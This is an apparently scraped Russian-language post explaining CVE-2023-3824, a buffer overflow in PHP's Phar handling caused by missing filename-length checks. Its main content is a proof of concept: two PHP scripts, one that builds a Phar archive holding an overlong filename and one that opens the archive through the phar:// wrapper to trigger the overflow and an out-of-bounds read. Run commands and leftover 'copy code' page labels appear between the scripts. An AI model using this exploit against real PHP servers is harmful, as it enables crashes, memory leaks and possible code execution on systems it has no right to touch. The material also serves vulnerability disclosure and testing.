
Уязвимость в PHP-файлах Phar, вызванная переполнением буфера, возникает из-за недостаточной проверки длины имён файлов внутри Phar-архива. Злоумышленники могут создавать Phar-файлы с длинными именами файлов, что приводит к переполнению буфера и потенциальному выполнению вредоносного кода или утечке данных. Эта уязвимость может быть использована для выполнения кода — CVE-2023-3824
Этот PoC демонстрирует, как создать вредоносный Phar-файл в PHP и вызвать уязвимость переполнения буфера.
create_phar.php) и добавьте следующий код:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
Выполните PHP-скрипт, чтобы создать вредоносный Phar-файл: Копировать код
php create_phar.php
Создайте ещё один PHP-файл (например, trigger_overflow.php) и добавьте следующий код:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
Выполните PHP-скрипт, чтобы вызвать переполнение буфера:
Копировать код
php trigger_overflow.php
Оператор var_dump($x) выведет результат переполнения буфера и операции чтения за пределами буфера.